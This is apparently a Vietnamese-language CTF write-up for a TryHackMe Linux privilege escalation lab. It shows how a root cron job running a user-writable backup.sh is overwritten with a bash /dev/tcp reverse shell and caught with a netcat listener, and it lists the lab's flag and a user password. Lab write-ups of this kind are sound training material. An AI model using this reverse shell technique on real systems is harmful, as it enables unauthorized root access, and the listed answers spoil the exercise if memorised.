Description

Linux Privilege Escalation - Cron Jobs

Tận dụng Cron Job để thực thi các script tùy ý nhằm lấy flag và mật khẩu.

Background

Cron job được sử dụng để chạy các tập tin nhị phân hoặc script ở các thời điểm cụ thể với quyền của chủ sở hữu. Nếu ta có thể thay đổi script mà cron job của root user đang chạy thì có thể thực hiện leo thang đặc quyền.

Chúng ta có thể xem danh sách các cron job ở mức hệ thống ở /etc/crontab.

Minh họa:

Trong trường hợp srcript đã bị xóa mà cron job vẫn còn thì ta cũng có thể tự tạo ra script.

Chức năng của script mà ta tạo ra (hoặc chỉnh sửa) là gửi reverse shell về attacking machine1. Ở trong hình bên dưới, attacking machine nhận được reverse shell có quyền root:

Approach

Flag 5

Ta xem Cron table ở /etc/crontab thì thấy kết quả như sau:

* * * * *  root /antivirus.sh
* * * * *  root antivirus.sh
* * * * *  root /home/karen/backup.sh
* * * * *  root /tmp/test.py

Có thể thấy là script /home/karen/backup.sh được crob job chạy bằng quyền root mỗi phút.

Đồng thời ở /home/karen ta cũng có tập tin backup.sh và karen có quyền ghi trên đó:

-rw-r--r-- 1 karen karen   77 Jun 20  2021 backup.sh

Tiến hành chỉnh sửa tập tin này để tạo ra reverse shell như sau:

#!/bin/bash
 
bash -i >& /dev/tcp/IP/PORT 0>&1

Với IPPORT là các thông tin của attacking machine.

Đồng thời thêm quyền thực thi cho nó:

chmod +x backup.sh

Ở phía attacking machine thì ta cần chạy một netcat server:

sudo nc -vnlp <PORT>

Đợi một chút để nhận reverse shell và đọc file /home/ubuntu/flag5.txt để nhận được flag.

Matt’s Password

Đối với yêu cầu lấy mật khẩu của Matt thì ta làm như Linux Privilege Escalation - SUID.

Flag

Flag 5

THM-383000283

Matt's Password

123456

Footnotes

  1. Xem thêm Introduction to Shells.